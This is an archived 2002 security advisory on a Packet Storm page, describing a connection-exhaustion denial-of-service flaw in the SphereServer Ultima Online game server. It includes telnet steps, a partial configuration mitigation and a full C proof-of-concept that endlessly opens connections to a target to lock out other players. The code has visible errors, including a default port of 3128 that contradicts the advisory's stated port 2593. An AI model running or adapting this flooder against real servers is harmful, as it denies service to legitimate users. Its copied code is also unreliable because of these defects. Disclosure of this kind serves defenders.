what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

h07adv-sphere.txt

h07adv-sphere.txt
Posted Mar 6, 2002
Authored by H Zero Seven | Site h07.org

The SphereServer Ultima Online Roleplay Server v0.5x for Linux, FreeBSD, and Win32 runs on tcp port 2593 and has a denial of service vulnerability. Includes exploit.

tags | denial of service, tcp
systems | linux, windows, freebsd
SHA-256 | ad4a2bfc1b85559174cec3fa6a4fc85f3b99d3b2231f712c52acb33f61a97c09

h07adv-sphere.txt

Change Mirror Download
 H Zero Seven Security Advisory [15.02.2002]
-------------------------------------------

SphereServer Denial of Service Vulnerability

--------------------------------------------

Summary:

The SphereServer is an Ultima Online Roleplay Server
(Multiplayer). Some people use this inofficial Server
to host Free Roleplay Worlds for an large community of
Players. The Developer of the Software is MenaSoft
(www.menasoft.com). Thus no ip-limitation exists in
the configuration so anyone can connect several times.
The Problem is that an client can hold the connection
without user-identification. So its possible to reach
the maximum connection count and block other users.


Affected Systems:

Sphere99x - Linux, FreeBSD, Win32

Possible affected:

Sphere 0.5x


Informations:

The SphereServer user-auth is very simple and you can authenticate with telnet
too.

linentw:~ # telnet target 2593
Trying target...
Connected to target.
Escape character is '^]'.

[so at this point the sphereserver count you as an client]:

90:Client connected [Total:1] from '10.0.0.112'.

[now send an space and the sphereserver ask for the username]

Username: _

[type username return and the password]

cc:Login 'validusername' <-- loged in and with the client you can play :)


So the problem is that the server count you as an client still you
connect and sent nothing to it. And do this several times until the
max_connections reached, so the server blocks all new connections.

linentw:~ # telnet target 2593
Trying target...
Connected to target.
Escape character is '^]'.
Maximum connections reached, please try it later
Connection closed by foreign host.

There is no true time_out variable in the configuration file and the death_socket
function does not work correctly in sphere. The Vendor has been informed about
this, but no answer.

www.sphereserver.com
www.menasoft.com

Fix:

no true fix available, but set the death_socket variable in the configuration
to 3 should help for the first time, even it does not work correctly (its like
an dice-game).


Disclaimer:

This advisory does not claim to be complete. The informations may be inaccurate
or wrong. Possible exploit code is only written for testing purposes. Articles
based on informations in this advisory should have an link to this document.


Exploit:

/*
*
* www.h07.org
* H Zero Seven
* Unix Security Research Team
*
* Sphere Ultima Online Server - Denial of Service Vulnerability
* poc-exploit...
*
* Simple code to eat all connections from the gameserver, so other
* peoples could not connect to the server.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
int fd;
struct sockaddr_in tgt;

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) return -1;
memset(&tgt,0,sizeof(struct sockaddr_in));
tgt.sin_port = htons(port);
tgt.sin_family = AF_INET;
tgt.sin_addr.s_addr = ip;
if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1;
return fd;
}

int sprint(int fd, const char *str,...)
{
va_list args;
char buf[4096];
memset(&buf,0,sizeof(buf));
va_start(args,str);
vsnprintf(buf,sizeof(buf),str,args);
return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in box;

fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org\n\n");
if (argc < 2) {
fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
return;
}

fprintf(stderr,"for the full advisory regarding this vulnerability visit www.h07.org ... \n");
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) {
perror("socket() ");
return;
}

fprintf(stderr,"Attacking sphere : ");
for (;;) {
int sock;

sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
if (sock<0) {
sleep(10);
continue;
}
fprintf(stderr, ".*");
}
}



Reference:

H Zero Seven - Unix/Linux Developer Team
http://www.h07.org
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    20 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close